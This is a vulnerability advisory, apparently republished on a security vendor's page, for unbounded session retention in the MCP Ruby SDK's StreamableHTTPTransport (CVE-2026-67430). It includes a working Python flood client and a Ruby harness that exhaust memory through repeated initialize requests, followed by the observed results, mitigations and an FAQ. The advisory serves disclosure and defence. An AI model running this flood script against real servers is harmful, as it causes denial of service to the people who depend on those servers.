Summary
MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood
In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb:
- Line 27, constructor:
def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil), the default forsession_idle_timeoutisnil. - Line 46:
start_reaper_thread if @session_idle_timeout, when the timeout isnil, the reaper that prunes idle sessions is never started. - Lines 604–643 (
handle_initialization): every successfulinitializeinserts a new session record; the only removal sites arehandle_delete(client-controlled) and stream-error paths.
The project README acknowledges the insecure default (line 1605):
By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).
Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.
Proof of concept
Server (session_poc_server.rb)
Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
Thread.new do
loop do
sessions = transport.instance_variable_get(:@sessions)
count = sessions ? sessions.size : 0
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9295,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (session_poc_client.py)
import concurrent.futures, json, socket, time
HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32
INIT = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25", "capabilities": {},
"clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()
REQ = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT
def one():
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.sendall(REQ)
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return b"mcp-session-id" in data.lower()
except OSError:
return False
start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = [ex.submit(one) for _ in range(TOTAL)]
for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
if f.result():
created += 1
if i % 1000 == 0:
print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
f"elapsed {time.time() - start:.1f}s")
print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
f"{time.time() - start:.1f}s")
Reproduction commands
bundle install
ruby session_poc_server.rb # terminal A
python3 session_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4, against the SDK's main branch.
Server terminal:
[mem] sessions=0 RSS=45 MB
[mem] sessions=2605 RSS=56 MB
[mem] sessions=11587 RSS=72 MB
[mem] sessions=23119 RSS=85 MB
[mem] sessions=34391 RSS=119 MB
[mem] sessions=45325 RSS=128 MB
[mem] sessions=50000 RSS=154 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely
Client terminal:
[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s
50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.
Suggested mitigation
- Change the default of
session_idle_timeoutto a finite value (e.g. 30 minutes) and document the change as a security default. - Add a
max_sessions:constructor option; rejectinitializewith HTTP 503 once the cap is reached. - Track the time of the
initializePOST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.
Impact
- Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
- Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
- Affected deployments: every deployment that does not opt into
session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2026-67430 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-67430? CVE-2026-67430 is a medium-severity allocation of resources without limits or throttling vulnerability in mcp (rubygems), affecting versions <= 0.22.0. It is fixed in 0.23.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2026-67430? CVE-2026-67430 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mcp are affected by CVE-2026-67430? mcp (rubygems) versions <= 0.22.0 is affected.
- Is there a fix for CVE-2026-67430? Yes. CVE-2026-67430 is fixed in 0.23.0. Upgrade to this version or later.
- Is CVE-2026-67430 exploitable, and should I be worried? Whether CVE-2026-67430 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-67430 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-67430? Upgrade
mcpto 0.23.0 or later.